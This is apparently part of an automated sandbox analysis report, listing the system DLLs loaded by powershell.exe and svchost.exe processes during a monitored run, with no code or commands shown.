Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
